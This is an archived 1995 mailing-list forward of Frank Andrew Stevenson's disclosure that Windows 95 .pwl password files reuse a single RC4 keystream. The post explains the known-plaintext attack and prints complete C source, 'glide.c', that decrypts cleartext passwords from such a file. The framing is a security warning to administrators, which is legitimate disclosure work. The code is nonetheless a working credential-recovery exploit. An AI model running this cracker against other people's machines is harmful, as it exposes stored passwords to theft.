I don't know if this is suitable for inclusion on Bugtraq, but it's quite scary if the implications are as described... ------- |\ Michael S. Fischer System Administrator _O_ | Internet: mfischer@nsi.edu The Neurosciences Institute | () Phone: 619.626.2000 Pager: 619.645.5693 San Diego, CA | >---------- Forwarded message ---------- >Date: Mon, 4 Dec 1995 19:06:12 +0100 >From: Tatu Ylonen <ylo@cs.hut.fi> >To: ssh@clinet.fi >Subject: FWD from Frank Andrew Stevenson: Cracked: WINDOWS.PWL > >I am sorry to send noise to the list; this deals with Windows95 but is >quite relevant to many Unix administrators as well. This is not >related to ssh. The ssh list is not intended for this kind of stuff, >so please don't do what I am doing now. > >Basically, you should be aware that if you ever mount disks from Unix >machines to Windows95 machines, the passwords of the unix machine (or >your other file servers) will be stored on the Windows machine's disk >essentially in the plain, and any 10-year computer-literate kid with a >little knowledge will be able to retrieve them in seconds if he gets >access to client machine. > >The message below explains the details. Essentially it means that >the whole encryption scheme used by Microsoft in Windows95 is a Bad >Joke. Not only does it use too short keys (breakable by brute force >in 8 hours on a normal workstation), but additionally it screws up the >implementation, meaning that your keys can be trivially decrypted >in a fraction of a second without ever even brute-forcing the key. >The program to do this is below. > >I find this kind of "security" shocking. I think this should go to >the mass media. At least make people at your sites aware of this >fiasco. > > Tatu > >------- start of forwarded message (RFC 934 encapsulation) ------- >From: Frank Andrew Stevenson <frank@funcom.no> >To: cypherpunks@toad.com >Subject: Cracked: WINDOWS.PWL >Date: Mon, 4 Dec 1995 17:51:36 +0100 (MET) > >A few days ago Peter Gutmann posted a description on how >Windows 95 produces RC4 keys of 32 bits size to protect >the .pwl files. I verified the information and wrote a >program to decrypt .pwl files with a known password, I then >discovered that the .pwl files where well suited for a known >plaintext attack as the 20 first bytes are completely predictable. > >The 20 first bytes of any .pwl files contains the username, which >is the same as the filename, in capitals, padded with 0x00. From then >I wrote a program to bruteforce the .pwl file and optimized it >so it would run in less than 24 hours on an SGI. I run a test >of the bruter software and recovered an unknown rc4 key in 8 hours, >but the decrypted file was still largely uninteligeble, I then proceeded >to decrypt the file at all possible starting points, and discovered >valuable information (cleartext passwords) offset in the file. > >This has enormous implications: RC4 is a stream cipher, it >generates a long pseudo random stream that it uses to XOR the >data byte by byte. This isn't neccecaraly weak encryption if you >don't use the same stream twice: however WIN95 does, every resource is >XORed with the same pseudo random stream. What's more the 20 >first bytes are easy to guess. This is easy to exploit: >XOR the 20 bytes starting at position 0x208 with the user name >in uppercase, and slide this string through the rest of the file >(xoring it with whatever is there) this reveals the 20 >first bytes of the different resources. > >>From there I went on to study the structure of the .pwl file it is >something like this (decrypted): > >USERNAME.........wpwpwpwpwpwpwpwpwpwp >rs??????? >rs >rs >rs??????????? >rs??????? > >where wp is i word pointer to the different resources (from start >of pwl file) The 2 first bytes of the resource (rs) is its length in bytes >(of course XOR with RC4 output) It is the fairly easy to find all the >resource pointers by jumping from start of resource to next resource, >had it not been for the fact that the size sometimes is incorrect >(courtesy of M$) > >What follows is a short c program that tries to remedy this and >reconstruct the pointertable thus generating at least 54 bytes of the RC4 >pseudorandom stream, and then proceedes to decrypt as much as possible from >the different resources. > >What does this show? Although RC4 is a fairly strong cipher, it has the >same limitations as any XOR streamcipher, and implementing it without >sufficient knowledge can have dire consequences. I strongly suggest that >the programmers at Microsoft do their homework before trying anything like >this again! > > > >DISCLAIMER: >This is a quick hack, I don't make any claims about usefulness for >any purpose, nor do I take responsibility for use nor consequences of >use of the software. FUNCOM of Norway is not responsible for any of this, >(I speak for myself, and let others speak for themselves) > >This source is hereby placed in the public domain, please >improve if you can. > >- --- glide.c --- > >#include <stdio.h> >#include <string.h> > > >unsigned char Data[100001]; >unsigned char keystream[1001]; >int Rpoint[300]; > > >main (int argc,char *argv[]) { > FILE *fd; > int i,j,k; > int size; > char ch; > char *name; > int cracked; > int sizemask; > int maxr; > int rsz; > int pos; > int Rall[300]; /* resource allocation table */ > > > if (argc<2) { > printf("usage: glide filename (username)"); > exit(1); > } > > /* read PWL file */ > > fd=fopen(argv[1],"rb"); > if(fd==NULL) { > printf("can't open file %s",argv[2]); > exit(1); > } > size=0; > while(!feof(fd)) { > Data[size++]=fgetc(fd); > } > size--; > fclose(fd); > > /* find username */ > name=argv[1]; > if(argc>2) name=argv[2]; > printf("Username: %s\n",name); > > /* copy encrypted text into keystream */ > cracked=size-0x0208; > if(cracked<0) cracked=0; > if(cracked>1000) cracked=1000; > memcpy(keystream,Data+0x208,cracked ); > > /* generate 20 bytes of keystream */ > for(i=0;i<20;i++) { > ch=toupper(name[i]); > if(ch==0) break; > if(ch=='.') break; > keystream[i]^=ch; > }; > cracked=20; > > > /* find allocated resources */ > > sizemask=keystream[0]+(keystream[1]<<8); > printf("Sizemask: %04X\n",sizemask); > > for(i=0;i<256;i++) Rall[i]=0; > > maxr=0; > for(i=0x108;i<0x208;i++) { > if(Data[i]!=0xff) { > Rall[Data[i]]++; > if (Data[i]>maxr) maxr=Data[i]; > } > } > maxr=(((maxr/16)+1)*16); /* resource pointer table size >appears to be divisible by 16 */ > > /* search after resources */ > > Rpoint[0]=0x0208+2*maxr+20+2; /* first resource */ > for(i=0;i<maxr;i++) { > /* find size of current resource */ > pos=Rpoint[i]; > rsz=Data[pos]+(Data[pos+1]<<8); > rsz^=sizemask; > printf("Analyzing block with size: >%04x\t(%d:%d)\n",rsz,i,Rall[i]); > if( (Rall[i]==0) && (rsz!=0) ) { > printf("unused resource has nonzero size !!!\n"); > exit(0); > } > > pos+=rsz; > > /* Resources have a tendency to have the wrong size for >some reason */ > /* check for correct size */ > > if(i<maxr-1) { > while(Data[pos+3]!=keystream[1]) { > printf(":(%02x)",Data[pos+3]); > pos+=2; /* very rude may fail */ > } > } > > pos+=2; /* include pointer in size */ > Rpoint[i+1]=pos; > } > Rpoint[maxr]=size; > > /* insert Table data into keystream */ > for(i=0;i <= maxr;i++) { > keystream[20+2*i]^=Rpoint[i] & 0x00ff; > keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff; > } > cracked+=maxr*2+2; > > printf("%d bytes of keystream recovered\n",cracked); > > /* decrypt resources */ > for(i=0;i < maxr;i++) { > rsz=Rpoint[i+1]-Rpoint[i]; > if (rsz>cracked) rsz=cracked; > printf("Resource[%d] (%d)\n",i,rsz); > for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]); > printf("\n"); > } > > > exit(0); >} > >- --- end --- > > >#include <std/disclaimer.h> >E3D2BCADBEF8C82F A5891D2B6730EA1B PGPencrypted mail preferred, finger for key > >------- end ------- > > > > > --- end forwarded text ----- End Included Message -----